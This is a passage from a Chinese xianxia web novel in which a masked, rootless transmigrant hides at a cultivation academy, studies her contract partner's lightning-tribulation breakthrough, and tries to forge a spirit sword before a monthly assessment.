据说这位城主斥巨资建成了金银寮,拥有绝对的话语权。
楚江蓠也顺势拿乔了一波,向城主横敲了一笔,免费住进了独院的三层小楼。
这座独院小楼,花草满植,池水环绕,被布置得分外有仙家意趣。
但她无心欣赏,顶着牛妖面具,化名牛小花,一住进来,就躲起来研究自己“天雷灵根”的来源,并为此用霜天晓做了个测试,送了他一颗养髓丹。
养髓丹,服下就可以度过修为瓶颈,突破仙阶。
……
山峰耸立的墨山上,风云鼓动着一座三层小楼。屋瓦如鳞,屋脊上端坐着黑衣的霜天晓,他正盘腿运气。
他身后长卷的马尾飘飞着,头顶低垂的墨色云浪几乎卷上他高束的发冠。
云浪中,隐隐电光时明时灭,不断照亮霜天晓,随时会劈上他。
这是霜天晓的雷劫,度过便可步入元婴期。但往年能安然步入元婴的修士,连半数都不到。
楚江蓠仰望着屋顶,她的心也跟着电光抽动,紧紧提起。
助他突破的养髓丹是她给的,在这之前,他一直被卡在金丹期,难有进益。
而她助他突破升级,为的是一个关于她脑海核心的试验。
那日测灵石亮起之时,她就开始怀疑契约会源源不断地向她递送霜天晓的灵力,这才使得测灵石误认为她具有“天雷灵根”。
但她并不具备灵根,自身就像是一面光滑的镜子,无法积聚半点递来的灵力,只能一直耗泻他,白白浪费。
如果霜天晓的灵力如汪洋的话,她便是这片汪洋堤坝的一处溃决孔穴,不停地替他放水,让汪洋始终不能涨满突破。
风愈发狂烈,霜天晓身后的云层卷成漩涡,漩涡中心向他伸出巨型的云的触手,似乎想将他搅碎。
触手顶端被一道雪白的电光撕破,粗壮盘曲的电光劈向他。
他紧闭双眼,盘腿结印,双手一沉,周身激发出一圈圈符文环绕保护。
电光与符文相撞,如万钧雷霆熄火于静默的山。
一闪而过的电光被瓦片反射,光影斑驳,便恍若一条虬龙阖动龙鳞,从他身下游过。
而他御龙在天,任雨打风吹。
小楼所在的独院之外,金银寮的师生们围拢惊叹,无一不仰头张望雷劫。
“这是谁在渡劫啊?”
“那个新来的牛头妖?好像叫牛小花!”
一道紫色天雷劈下。
“哦吼,好烈的雷,好刚强的力量。”
“听说是天雷灵根?”
“难怪雷劫这么凶!这不是神话传说里的体质吗?上一个有记载的天雷灵根是千年前的战神吧!”
又是一道深紫色天雷。
“我没看错吧,这是第六道劫雷?”
“是六道!是元婴期!”
“新来的是元婴期的器修?”
闪电一道道劈落,愈发浩大而强势,色彩也逐渐变成深紫色,艳丽得惊心动魄。
六道劫成,楼顶金光冲入云霄,漫漫云霄又化作点点青翠的光芒,如瀑布般泄向小楼。
那连接天地的金光柱,被这青光染成翠里流金的色彩。
“天呐!渡劫成功了,我们居然有个元婴期同门了!”
“我听说火部的丁真人也只是元婴期啊,这弟子和师父同阶是不是也太……”
“嘘,话别乱说,这人是城主请回来的。”
翠里流金的金光柱消散,最后一点光芒也融进霜天晓的灵台。
阴云尽破,苍天清透。
雷劫已过,他却仍紧闭着眼,一动不动。
楚江蓠盯着霜天晓,看着他额头的汗珠滚落,她几乎要停了呼吸。
一般雷电消散,渡劫的修士就会醒来,但现下阴云都散了干净,他却始终未醒,似乎是被什么卡住了。
她虽焦急,却也不敢打断他,以免害他走火入魔,便静静站在楼下等待。
直到日轮沉没,圆月升起,夜露沾湿了草地,也沾湿了她的衣裳,霜天晓才睁开眼。
他眼中流过一道青光,极短极快,只在一瞬间才能看见青光中那些细微繁复的花纹。
那花纹似乎蕴藏着无数知识,又隐匿于漆黑的瞳孔。
他深吸气,双眼恢复晶莹的神采,跃下小楼。
而在他睁眼的一瞬,楚江蓠脑袋里再度涌入了许多高深莫测的阵法知识。
这次的知识不如第一次那么多,虽然十分复杂,但不至于把她的脑袋撑爆。
又得益于前两次的知识接收,楚江蓠的大脑对这种知识流的涌入有了抗性,竟迅速吸收完毕了。
一见霜天晓终于醒来,她立刻起身,追过去询问他现下情况如何。
等得太久,她膝盖有些疼,腿脚一软,差点摔上一跤。
恰好撑上他递过来的一道灵光。
霜天晓摇摇头:“感觉有些奇怪,我突破了但好像又没有。”
楚江蓠:“什么意思?没结成元婴吗?不是六道劫雷都受住了?”
霜天晓:“元婴倒是结成了,只是……它好像在沉睡。”
楚江蓠:“沉睡?无法唤醒,不能运转?”
霜天晓点头:“对,可能是养髓丹催发出来的突破,还够不上真元婴的实力。”
楚江蓠抿了抿唇,心有些沉。
养髓丹本就是修士用来辅助突破的丹药,不该出现这种情况。他还是因为灵力耗泻而受到影响了。
他倒是相当轻松道:“挺好了,前段时间我一直想突破,每次都差那么一点,要不是你的养髓丹,还不知道什么时候才能突破呢。”
楚江蓠勉强笑了下,心头涌上相当复杂的情绪。
这场突破让她确认了自己先前的推测。
现在的霜天晓就像一个一边进水一边放水的泳池一样,一直不能满溢,所以暂时无法真正突破。
她需要找到助他正常修炼的法子,比如堵上这股灵力耗泻的缺口。
只有他往后能顺畅提升,她才能获得更多的阵法知识,打开回家的通道。
但暂时还不能告诉他真相。
没人能忍受一直被耗泻灵力,她不想在这种时候给自己增加一个敌人。
一夜无梦。
清晨,墨山上云雾缭绕,云雾深处禽鸟啾叽不停。
一群身着鹅黄弟子服的弟子,为赶早课,在山林间穿云破雾,衣袂飘飘。
那些鹅黄的身影一闪,便翻过山林,停在书院前。
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新到的弟子们正值青春,学不会循规蹈矩,纷纷利落地翻过院墙,闪身挤进了讲课的学斋。
人流鱼贯而入,将学斋门口堵了个严实,四处充满了弟子们喧闹的声音。
这些声音年轻透亮,趣味十足,颇有少年风味。
学斋的前排坐垫上,楚江蓠戴着牛妖面具,早早就布置妥当。
她悠哉地斜靠着凭几,观察着这些同门,搜寻有没有合适立契约的器修。
却发现他们虽然都有些仙人之姿,但修为大都不高,连筑基的都少有,能成丹步入金丹期的,全场只有一个红发的姑娘。
于她而言,绑定契约的对象修为越高,她能获得的知识才越多,这些同门尚无法满足她的需求。
目光逡巡了一圈,依旧没有满意的契约对象,她收回目光,静静等待着授课的仙师入场。
仙师的修为总是要高上许多,更适合作为她的目标。
一阵朗朗的钟磬之声,穿过层云撞入室内。
里间内门推开,一身金丝富贵的男人伴着钟声大步走上台,微微清嗓:“我是火部的清妙真人,大家也可以称呼我为丁真人。从今日起,由我来讲授灵材。”
楚江蓠眼角抽了抽,这不是考核那天要赶她下山的冷脸考官嘛。
她低头盯着楠木桌案上的墨点,耳朵微动,听见丁真人的脚步停在身前,才缓缓抬头。
正对上对方冷如冰块的大脸,对方一看见她,冷脸瞬间笑成了花:“牛小花,听说你前两天渡劫,进阶元婴了?”
她四下张望着,所有人都在看她。
她用手指了指自己的牛妖面具。
牛小花是谁?我吗?
她忽然想起,因为一直带着牛妖面具,所以登记身份时,给自己报的名就叫:牛小花。
这一瞬间,她有些想钻进地洞逃走,但众多灼灼目光盯在她后背上,如针扎般将她死死钉在坐席上。
反正有牛妖面具挡着,无人能看出她红了脸。楚江蓠强作镇定道:“是我的书童进阶元婴了,不是我。”
丁真人脸色怪异,一片红绿相间,煞是热闹,他咬了咬牙:“哦~那个阵修是吧。”
底下传来弟子们的窃窃私语。
“听说仙师也只是元婴期啊,去牛小花家只能当侍从吗?”
“啊?她家好豪横啊,妖族都这么嚣张吗?”
仙师板着脸敲了敲讲桌:“课堂肃静!”
周围都安静下来,他才正式开始授课:“炼器先认材,有了好材料才能炼出好法器。开设灵材课的目的就是教你们如何辨认矿石优劣,挑选材料,以及如何更好地激发材料灵气……”
楚江蓠点头表示明白。这丁真人教的就是一些基础课程,放前世大概是地质学?材料科学?宝石工艺学?
恰好她也很想了解修仙界究竟有哪些特殊材料,便颇感兴趣地听下去。
只见丁真人拿出乾坤袋,倒了一堆石头出来,指着铁黑色的石头叫千年玄铁,金色的石头叫混沌金,朱红色的石块叫农土……
听得楚江蓠直想拔刀抵在他脖子上问问:这不就是精铁、黄铜和朱砂嘛,你们修仙界是说人话会死吗?
但她面上不显,深深吸了口气,掰断了笔,用断口蘸墨,认真记录下这些奇怪的名字和用途。
毕竟她想去库房取精铁也得说:麻烦一下,我需要半斤千年玄铁。
11. 汤家的灵剑
一堂课终于结束,楚江蓠大松了口气,准备去库房转转。
却见丁真人敲了敲桌案,学斋里刚喧闹起来的声音又沉淀下来。
他对大家强调了一句:“我们金银寮虽然不挑出身,但不收资质差的弟子。入门后有一个月的考核期,在这一个月内你们要步入炼气中期,并且炼制出一柄最低阶的灵剑,才能够继续留在这里学习。”
满室哀嚎:“一个月炼气中期啊……您知道引气入体后,不断修炼一两年才能提升到炼气中期吗?”
丁真人:“天资这般差,不如速去他处寻个差事。”
说完,丁真人不顾满室绝望哀嚎,头也不回地离开了。
楚江蓠独自站在人群外叹息。
这些满室哀嚎的弟子们至少有灵根,有机会博一博完成考核。但她却连引气入体都做不到,修炼之途只是妄谈。
难道她要一个月内绑定一个契约对象就跑?
可是楚家和无妄海还在四处找她,一但离开这里,就很容易暴露身份。
不能离开,那就必须赶快炼出一柄低阶灵剑,再设法利用核心躲过修为探查,这样她才能留下。
想及此,她立刻收起桌案上的纸笔,起身向室外走去。
眼前突然横过一道寒光,冰冷的剑刃直抵她双眼,若她再往前半步,怕是能戳穿她的眼睛。
一时冒火,视线沿着剑刃纹路往上,却见一个圆脸修士笑嘻嘻地对她说:“牛师姐!我要挑战你!”
他带着少年人略为幼稚的语调,因为不知轻重,充满了愚蠢的活力。
楚江蓠只懒懒地瞥了他一眼,便脚步不停地继续向外走去,无视了他。
他立刻两步追上来,拦住她:“你别走,我是太平汤家的汤巅,我爹是铁鹰爪汤泉!今年的新弟子中,只有你有资格做我的对手!”
看着周边的同门都走远了,想到下一堂心法课马上开始,楚江蓠压了压心头烘出的一点烦躁,随口道:“不认识。”
说完,她便伸手去拨那汤巅。
他却一沉下肢,底盘稳得如钢筋水泥似的,分毫不动,右手还反过来扣住了她的手腕。
手被他扣住的瞬间,她便感受到一股大力紧紧锁住了腕上的穴位,从手指到小臂都麻了。
她立刻抽手甩开,在脑海中唤霜天晓:【遇险,速来!】
“你还没引气入体吗?”汤巅撒手,语气满是惊讶。
楚江蓠甩了甩手,冷下声,带着前世惯用的训诫口气:“你在做什么?”
一般这种语气下,对面被她训诫的人就会立刻乖顺许多。
显然汤巅也在这种语气下陷入了疑惑,他后退了两步,剑指着她,口中结巴了半天“你”,他脚下却突然亮起一圈淡青色法阵。
“嗖嗖!”法阵中心抽出三根青绿藤蔓,如雷似电般,瞬间将他手脚都紧紧捆住。
藤蔓一收,他被带倒在地,如一只黄绿相间的毛毛虫在扭动。
毛毛虫后踏落一双黑靴,鞋尖轻轻一踢,来人蹲下身,露出霜天晓白皙漂亮的脸。
他嘿然笑问汤巅:“还敢不敢惹我们小花了?”
霜天晓虽是在问汤巅,眼睛却没看他,反而抬眸望向楚江蓠,唇畔含着点轻笑。
汤巅翻滚远离了他,嘴里叫唤着:“这么高修为来欺负我,不要脸!了不起的不要脸!”
霜天晓便垂眸睨了一眼汤巅,瞬间起身,猛地将汤巅拽起,令他正对着楚江蓠。
他手臂随意地压在汤巅肩上,语气半带威胁道:“再重复一遍,对她说。”
汤巅瞪向霜天晓,脸上十分不情愿。
霜天晓眨了下眼,那段捆着汤巅双手的藤蔓顺势抽枝,抽向汤巅手背。
清脆的一声响,汤巅手背浮起了一道红痕。
霜天晓侧头,黑而蜷曲的马尾轻轻甩起,再度对汤巅强调一遍:“说啊,对她说仗修为欺负人的最不要脸。”
汤巅居然乖顺下来,低头对楚江蓠道:“仗修为欺人的人,最不要脸。”
楚江蓠掩唇笑起来,心头却五味杂陈,黏在心室上,吐不出也咽不下。
但她总归是觉得这场面是相当滑稽的。
霜天晓看过来,轻笑道:“就这?让你遇险?”
“嗯,修为差挺多的。”她咬紧唇,努力把笑意压下去,才去拉霜天晓,准备离开。
霜天晓却似乎还想收拾一下汤巅。
她看向被绑成毛毛虫的汤巅,对霜天晓说:“心法课要开始了,把他丢这儿吧。”
霜天晓的眼睛瞬间亮了起来,脚步迈得比她还快。
身后的汤巅弹跳着往前追,嘴里念着:“别,别,我错了,我真错了!”
楚江蓠停下脚步,问道:“哪里错了?”
“我不该仗修为欺……不对啊,我啥都没干啊,师姐为啥罚我啊?”汤巅追问道。
楚江蓠摇了摇头:“你真的一点都没数吗?”
汤巅蹦哒了两下,靠了过来:“我按学规向师姐挑战也错了吗?不!是你仗势欺人,你不按学规回应我的挑战,我有什么错!”
她看着汤巅这梗着脖子的模样,还从他脸上看到了一点委屈。
她略有些无奈,清了笑意,告诉他答案:“你拿剑尖指着我的眼,稍有不慎,伤了人多危险。”
汤巅停下蹦跳,抿紧了唇:“我的剑很准的,是我爹炼的法器,它有剑灵,不会伤到人。而且……我以为师姐修为不低,便是真有意外,也不会有事。”
霜天晓回头看他,似笑非笑道:“你以为?《南华经》读了吗?上有记载,楚有匠人名石者,刀头比你准得多,能砍去郢都人鼻尖的白灰,也不伤其鼻子。但当那位郢都人死去后,再也没有能让匠人砍去鼻头白灰的人了。”
汤巅愣愣地询问道:“为什么?”
霜天晓:“你说呢?自己想。”
汤巅低头想了一会儿,忽然缩起肩膀,向两人行礼:“多谢赐教,我悟了!修炼之途,所谓的点到即止,需要敌我双方的默契与信任,过分自信会害了自己,所以要修炼出那匠人的心境,知晓何者能为。这才是心法课啊!”
见汤巅这样,楚江蓠拉了下霜天晓的衣袖:“可以放人了。”
霜天晓抬手,浅笑了一下:“知错了就道歉。”
汤巅又拜向楚江蓠:“师姐,我这次真知错了,谢师姐教导,必将谨记于心,不会再有下次。”
汤巅话音一落,身上的藤蔓缓慢退去,他迅速凑到楚江蓠身边。
楚江蓠本以为他会有些丧气。谁料汤巅已捧出一张笑脸,问她:“师姐,我今后能不能和你一起探讨灵剑炼制啊?”
这张笑脸让她想起,汤巅就是金银寮考核那日,那个御剑而上的圆脸修士。
楚江蓠疑惑问道:“你不是御剑的剑修吗?怎么进来学炼器
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?”
汤巅挠头,嘿嘿直笑:“我不是剑修,只是我这柄剑有剑灵,可以自己送我上山。”
说话间,汤巅忽然拔剑,避开楚江蓠挥舞起来。
重剑挥出,莹莹蓝光如蝶翼飞舞,厚重冷冽的风呼呼扑面。
汤巅得意说道:“它叫风樯,很帅吧?是我爹为我炼制的生辰礼,我们汤家一手炼剑的绝活,可不是吹出来的。”
楚江蓠盯着风樯剑上的蓝色灵光,根据她了解的相关知识,可以判断出这是仙器级别的法宝。
这个世界的法宝共分五阶,仙器便是仅次于神器的法宝级别。
这个级别的法宝,只有化神期以上的器修才能炼出。若是还带剑灵,则炼剑者至少是化神期巅峰的实力。
化神期巅峰?
放眼修仙界,该境界的数目不超过百人。而放在金银寮里,也只有金银寮的首席,那位山长一人。
汤巅的父亲居然已至化神期巅峰了,甚至还不止。
看来汤家确实是有名有姓的大家族。
楚江蓠心头狂跳,胸口喜悦的情绪几乎要蹦出来。她虽不知汤巅这样的公子哥为何有家不待,来这里求学,但她知道,这是个极好的机会。
汤巅的父亲很适合被她的契约绑定。
许是她盯着剑的目光太热烈,汤巅乐呵呵地递出宽剑给她看。
楚江蓠摸了摸剑身,很钝,很厚重,蓝色灵光在刃尖轻轻流转。
她颇喜欢这剑的样式,问道:“你们家都是器修吗?”
汤巅瞪大了眼:“天,你不知道我们汤家?器修世家啊!我才不会学那群整天嚷嚷的脆皮剑修呢。”
谁料,风樯剑剑柄一甩,直接甩开汤巅的手,冲他甩来一团灵光。
灵光砸脸,迸出一声悠扬的气音,听起来就像是冲汤巅放了个屁。
汤巅连挥着手,脸有些绿。
楚江蓠没忍住,“噗嗤”笑了出来。她揉了揉额心,无奈失笑道:“你的剑灵脾气还不小。”
却见汤巅直接涨红了脸,指着剑笑道:“它跟我玩呢,调皮!”
楚江蓠:“嗯,性子活泼,风樯在你身边一定过得很滋润。希望下次有机会,我们能一起讨论学习炼剑的事。”
汤巅兴奋地叫道:“太好了!师姐一定要来找我,我手上有不少灵剑可供参悟技法。”
两人这一聊完,才急忙赶去上心法课。
心法课因为要教授弟子如何吐纳与天地共鸣,所以是堂户外课,特意安排在灵气最充裕的山顶平台处。
墨山山顶,漆黑的树木如铁石般牢牢伫立。
树下,一位穿着青草绿的少女静坐于云雾之上,她正在给四周的弟子讲解如何吐纳调息。
“当步入炼气期后,随着修为的增长,灵台会获得天赐的力量。只要认真跟着天赐指引练习,就可以逐步进阶,无需借助旁人。”
“但这条修炼路上,总有人喜欢另辟蹊径,不愿认真揣摩领悟天赐的力量,只想着一步登天。”
“若将修炼当儿戏,心魔就会来找你们,别等到爆体而亡之时才知道后悔。”
少女的目光扫过台下,台下灵气流转,不断涌入弟子们的丹田中,形成一片云蒸霞蔚的仙境。
她相当满意地点了点头,目光却忽然凝住,凝在了安静打坐的楚江蓠身上。
“怎么会这样?”少女眯了眯眼,向楚江蓠走去。
12. 嘹亮的凤鸣
每当修炼调息时,修士们会将四周的灵气纳入体内、蕴养筋脉,待吸收灵力后,再将灵气重新吐回天地之间。
因此心法课上,弟子们被灵气凝成的云雾笼罩,阳光一照,四周便呈现出璀璨的光华。
但在这片璀璨云雾中,楚江蓠周边却空出了一小块清晰地带。
教授心法课的烹霞仙师注意到她,奇异地自语道:“怎么会这样?”
言语间,烹霞单手捏诀,打开自己的九窍眼。
九窍眼是器修步入元婴期后的一项术法,可以看出事物内在的灵气流动。
九窍眼打开,烹霞眼中的世界如同褪了色般,色彩暗淡而老旧。
在这片暗淡中,她却见到楚江蓠周身被一层鲜艳的翠色笼罩着。
修仙界向来以灵光色彩来区分境界,这翠色代表了它应属于元婴期的修士。
元婴期的力量太强悍,所以会排开四周的云雾,将她周围空出一片区域。
只是这片翠色与真正元婴期修士吐纳调息时不同,它们不断扩散着,并不回归她体内。
就如同山林凋零,河海干涸,这根本不是在调息吐纳。
烹霞手掌贴上她的丹田,沉声道:“沉气,回收你的灵力。”
楚江蓠在这里盘腿坐了很久,两腿肌肉酥麻,已然失去了知觉。
腹部丹田处忽然覆上一道温暖,如暖流般钻进她体内。
同时,她听见了烹霞的指导,明白了这股暖流是烹霞送入她丹田的灵力。
她打坐吐纳了小半日,直至此时才感受到灵力暖流,只可惜,她也发现这份灵力如浩荡江水,向外飞逝。
这意味着她根本无法引气入体。
楚江蓠缓缓睁开眼,看着面前一身青绿裙装的烹霞仙师,叹了口气:“师傅,不必再向我输送灵力了,弟子实在……”
话音断在她嘴边。要怎么说呢,总不能说自己无法引气入体。一但让他们发现,她下一秒就会被金银寮驱逐。
烹霞拉起她的手,脸上露出困惑的神色:“不应该啊,你是天雷灵根呀,引气入体很容易的。”
楚江蓠刚要寻个理由解释,掌心忽然被烹霞猛地一拍,声响清脆,两人掌心相接处亮起翠绿夺目的灵光。
滚烫的灵力冲进筋脉,如一瓢开水泼了上来,冲得她浑身刮骨般的痛。
剧痛中,她直接推开烹霞,这一瞬的力气爆发,竟连元婴期的烹霞都差点仰倒。
楚江蓠也顺势摔倒在地,浑身疼痛颤抖着,她蜷起身子,眼中弥漫出濛濛水汽。
她将唇瓣咬出了血,缓缓爬起,同烹霞解释道:“我近期身体不适……”
烹霞掏出手帕,替她擦去额头的汗,叹了口气,批了假,让一个女弟子送她去医垆寻大夫。
楚江蓠告退离开,知晓问题出在她无法修炼上。
因她没有灵脉,烹霞的灵力只能硬挤进来,才会这般痛。
不必再去医垆,她直接回到了独院小楼。
院里高树列植,枝头渐红,秋意飘零。霜天晓正躺在树下打盹,一片红叶落在他眼上,遮了阳光。
楚江蓠走近树下,许是脚步声吵醒了他。他坐起身,拧转红叶把玩,漫不经心地问道:“不是第一天授课吗,怎么回来了?”
她心里想着考核的事情,低着头,目光穿过面具漆黑的眼洞,看着树叶的阴影在脚下摇动。
她的心情也跟着摇动起来,如果不能在一个月后炼出一柄灵剑,她就要被金银寮驱逐。
她不能被驱逐,只有留在这里,才有机会接近更多的修士,才能打开回家的路。
于是她坐在他面前,开口向他借剑。
霜天晓举起巴掌般的红叶,裂片遮住脸,露出一只漆黑明亮的眼睛。
笑眼轻轻眨了一下,弯弯的,像挂在叶隙间的月牙。
他的声音藏在红叶后面,问她:“借剑做什么?”
“研究用。”她摘下面具,脸上散开了一团湿黏热气,有汗湿的水珠往下流。
她擦干脸,下了一个决定。她要摘下心上的面具,不再掩饰目的和身份,同他开诚布公地。
她需要他的帮助,这意味着至少要互相交付信任,用真诚换得善意。
但不能连穿越这种事都告诉他。
于是,她为自己的身世编了一个故事。
故事中,她是仙都楚家的大小姐,是一个父不爱、母不疼的可怜废材,但她不甘心。
她虽无灵根,却对修炼有着独到见解,并且设计出了不需要修为也能使用的法器。
现在,她希望能够留在金银寮里,学习更多的炼制法器的知识,提升自己的实力,向冷漠的父母证明。
她的故事讲述完毕,霜天晓放下红叶,微微挑眉。
她从他脸上看见了某种兴趣,是那种面对新奇又珍贵的事物时,人人都会展现出的兴趣。
她知晓,自己口中的法器天然会调起修士们的兴趣。
因为这东西打破了很多道法的规则,对修士而言可能会是一条通天的道路。
毕竟这片小说世界里,千年来,都无人能够登仙。
他不会拒绝这种机会,这是她用来合作的筹码。
果然,他的注意力立刻被她口中的法器吸引,询问道:“所以你想以凡人之身,复刻出我的灵剑?”
楚江蓠坦然承认:“是,我会参悟出它的道源本质,并在金银寮月度考核前,炼制出一柄新的灵剑。”
她必须坦然,在契约的绑定下,他们两人本就是同荣共损的,将会相处很久。
这也意味着,在今后的时间里,他还会见到许多无法想象的东西。
比如火药、枪支、无人机……让他提前做好心理准备,是绝对必要的。
霜天晓直接拔出灵剑,炽热的火光像无数红羽,羽翼挥舞翻飞着,带动空气震颤,发出一道尖锐的凤鸣。
鸣声高亢,能刺破一切虚无与黑暗,直刺入楚江蓠的灵魂深处,她感受到一种名为激动的战栗。
灵力,这便是灵力,是能与灵魂共鸣的灵力。
直到今日,直到此时,她从心法课上回到这里,才终于知晓这股力量是多么神奇。
即使没有灵根,即使天生废材,她也要驾驭这股力量,做它的主人。不仅要用它打开回家的通道,还要将它带回自己的世界。
接过霜天晓的剑,她二话没说,直接关起门,开始了没日没夜的研究,只让霜天晓去替自己请病假。
身后的霜天晓张了张口,似乎想解释什么,却见她连头也不回地冲进了房间。
他终是叹息一声:“算了……”
红叶间的太阳沉入人间,日月轮转,吹下满地落叶,明艳而松软。
楚江蓠眼前的天色在黑白中反复,手中的铁石也在黑玄与寒光中变换。
她每每感悟出一些技法,便将赤黑的铁矿石丢进脑海核心,将铁矿石提炼成蕴藏灵力的精铁,再磨砺出雪白的锋芒。
用脑海核心来造剑不难,但几经反复,她得到的仍然只是一柄普通铁剑,没有灵光,算不上灵器。
“当锵——”
又一柄吹毛断发的长剑铸成落地,楚江蓠捡起来挥了挥。
室外的阳光映在锋刃上,闪动轻盈,却依旧没有任何灵光。
她看了眼长剑,剑身晦暗,只是一柄凡剑。<
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p>从库房取来的材料已用完,却仍未成功,楚江蓠将长剑丢到一边,瘫坐在地,遥遥望着墙上的霜天晓的灵剑。
明明她已经将材料提炼出灵力了,明明她已经将灵力注入长剑的核心了,为什么还是会失败?
器修在炼器时,他们的灵根究竟有什么特殊?
她虽瘫坐在地,大脑却仍高速运转,在心里盘算着怎么控制实验变量,或许要解剖修士的灵根。
房间门被人敲响,“咚咚咚”的清脆声音唤回了她的思绪。
她深吸一口气,推开门,却见眼前白光一闪,怀里多了包热腾腾的米糕。
霜天晓斜靠着门站立:“铁块能当饭吗?都几天没出门了。很香的,趁热吃。”
这几天他总往外跑,也不知是去哪里,每次回来还会给她带点什么。
很像是某些动物捕猎归来的投喂。
楚江蓠摇了摇头,甩掉脑袋里混成一团的想法,坐到树下小桌案前,对他说:“你也来一起尝尝呗。”
霜天晓却躺上她身旁的摇椅,惬意轻摇:“不用了,我辟谷。”
修士辟谷,但她不行。
联想到这几日的困境,楚江蓠撇了撇嘴,不再管他,盯着殷红的梅花糕,轻轻咬下一口。
入口甜腻,很快化进了肚里。
她吃完热腾腾的梅花糕,大约是甜品让她心情开阔,有些卡住的细节忽然松动了。
她想起自己其实辟不了谷,是无法触碰灵力的人。
这样一个人却想炼制出一柄灵剑,困难程度不亚于瞎子想要研究黑与白。
但那又怎样?
只是很难罢了,又不是这个世界本不可知。
既然世界建立在既定的真理上,她就可以一层层去解构,寻找到最终的答案。
她向来是明知困难,也要向难而行的人。
何况这些天的尝试也不是一无所获,她自研出了如何提炼灵力,如何将灵力融入赤铁。
她只要去库房申请一些材料,再给自己一些实验时间,就可以解决最后一个问题:如何用灵力吸引铁剑中的灵力。
用灵力支配的铁剑,不就是灵剑吗?
心情略为轻松下来,她对霜天晓说:“我一会儿去申领炼剑材料,然后去看看同门是怎么炼剑的。”
霜天晓掀起眼皮,随口道:“你都无法引气入体,自然也不能像修士那样,用丹田精火将自身的灵力压进剑中,何必白费力气。”
楚江蓠反问:“你怎么知道我不行?就凭你那点连契约都解不开的眼界?”
“先做出东西,再来嘲讽我吧。”霜天晓似乎把她的话当成了一阵吹过就散的风,并不在意。
无妨,她也不是逞口舌之快的人,她自有目标,从不会为旁人的话动摇。
只冷冷地瞥他一眼,楚江蓠起身整理着装,准备去金银寮的库房。
见她起身,霜天晓迅速掐了个诀,瞬间闪避到水池旁,似乎是怕她会对他动手。
楚江蓠却连声都没出,淡然地往库房方向而去。
霜天晓愣愣地垂下头,盯着水池中的倒影。影下水草飘摇,如无根之草,既无去处,也无归途。
他哂笑一声,不知在笑谁:“无根之萍,却想登天。”
弯腰捡起石片,他猛地往水里一丢。薄薄的石片连着在水上荡出好几段涟漪。
涟漪漾开了倒影的脸庞,他盯着自己那扭曲而模糊的面目,忽然自嘲地大笑起来。
笑声高亢嘹亮,如凤落于九皋,而声闻于九天。
他又笑又叹:“登天便登天,太白有鸟道,横绝峨眉巅。”
他转身,跃出院落,向楚江蓠追去。
13. 透明的小猫
材料库房建在一处石壁上,库房拱门依着山势走向,忽起忽落。
门前云雾飘渺,白茫雾气中藏着圆润垒石,雅致交叠,一步一景,远如花瓣散落,近如瀑布横飞。
门口云雾间,金银寮的弟子们不断进出,鹅黄色的长袖翻飞,璨若朝霞。
霜天晓跃下山木,翻过石墙,只见那座高逾三层的拱门下,正立着楚江蓠。
她顶着漆黑牛脸,在四周仙容玉貌的袅袅鹅黄中,被衬得分外显眼。
霜天晓立刻闪身落在她身边,只听得她同对面的司库说:“六百灵石都够山下人家吃两年了,就这点精铁?”
对面司库翘着双脚,正在玩拇指戏,头也没抬:“都这个价,本来灵材配额就该拿灵器换,收灵石都是照顾你们了。”
霜天晓闻言,扯下腰间的乾坤袋,沉甸甸的,装了不少灵石。
他垂下手,宽大的衣袖随之垂掩,藏住了乾坤袋。
他便隔着布料,偷偷撞了撞楚江蓠的手背,一点温热沾染而来,他立刻将乾坤袋塞进她手心。
楚江蓠回头看了他一眼,没接乾坤袋,也没理他,扭头就要走。
他只得扯了扯她衣袖,问司库:“多买几套,可以便宜点吗?”
司库掀起眼皮,咬着烟草丝,说道:“便宜?没让你加价就是优待了,看见这些来取灵材的弟子了吗?比杂草还多,我们库里一向供不应求。”
楚江蓠反甩开霜天晓,拿起桌面一块剔透的晶石,对司库道:“三味火灵灌进石髓的产物,技术不难,杂草?我看这也不比杂草少。”
说完,她手腕一抖,随手抛下晶石。
剔透的晶石直直坠落,司库慌忙去接,连桌子都晃起来。
而她完全没听司库的后半句,径直往山下走去。
刚走了没两步,她袖子就被霜天晓扯了扯。
他低声说:“对不起,我错了。你其实很有修炼的悟性和天赋,是我浅薄,误解了你,还那样口不择言,我很抱歉。”
她看向他,他半垂着头,连眼睛都沉在清影里,云雾与树梢的影子在他脸上飘摇,时有枝头的细碎阳光闪过,完全是一副真诚认错模样。
她没想到他还有这滑跪的一面,倏忽间,因琐事绷紧的心头竟一松,笑着拍了拍他的肩,同他道:“知错能改,善莫大焉。”
他抿了抿唇,瞪了她一眼,这一眼瞪得她莫名其妙,他却轻哼了一声,甩袖往山下走去。
长袖扫开浮云,他刚一迈步,又回头问她:“你不买灵材,怎么炼剑?”
问完,他一掂手里的乾坤袋,重又抛向她。
五彩的乾坤袋入怀,沉甸甸的,袋上缀的玉环叮当作响。她略一探看,便发现袋里的灵石不少,成堆摆放,整整齐齐。
她也顺手一掂,收了乾坤袋,同他说:“这里的灵材太贵了,我倒不是买不起,只是觉得浪费。”
她自己的余额其实还够买十份炼剑材料,但总要考虑以后,不能全折在这里。
她便多解释了一句:“我去通天阁看看。”
霜天晓:“通天阁只卖成品,灵材都是被宗门垄断的。”
她闻言并不惊讶,这本就是公开的秘密,她只是想去撞上点运气,或许能捡漏灵材,或许能发现黑市的踪迹。
总之,懒得在这里捧司库的臭脚。
“只是看看。”她刚说完,身后便传来阵阵呼号,听得她浑身汗毛直竖。
那呼号声穿云破雾而来,唤的却是她的名字,准确地说,是“牛小花”这个名字,引得所有人都望向声源处。
她只觉丢人,望向呼号者,不是那热衷于高调丢脸的汤巅,又是谁?
他踩着宽剑从屋顶上飞过,连连冲她招手:“牛小花!好巧啊!”
霜天晓见状,一脸憋笑的模样,脚尖滚了个石子,轻轻一踢,接着往后退了两步。
石子直向汤巅飞去,而汤巅却恍然不知,仍挥手立在剑上,鹅黄的弟子服翻飞,向楚江蓠而来,他脚下宽剑忽的一震。
“咚——”一声清脆,石子撞上剑柄,宽剑颤动,汤巅“蹭”地跳落在霜天晓面前,险些没站稳。
所幸霜天晓退了那两步,才没被汤巅拽倒。
汤巅刚一落地,丝毫没注意石子事端,只笑嘻嘻对她道:“牛小花!好几天没见你了,听说你病了告假?”
为免被发觉病假有异,楚江蓠咳了几声,装出一副病弱模样,点了点头,只说自己病情尚可,又打听汤巅的炼剑情况。
汤巅一拍胸口:“等我的火茧丝到了,就可以开始炼剑了。”
楚江蓠:“火茧丝,不是做避火法衣的材料吗?你炼剑也要用呀。”
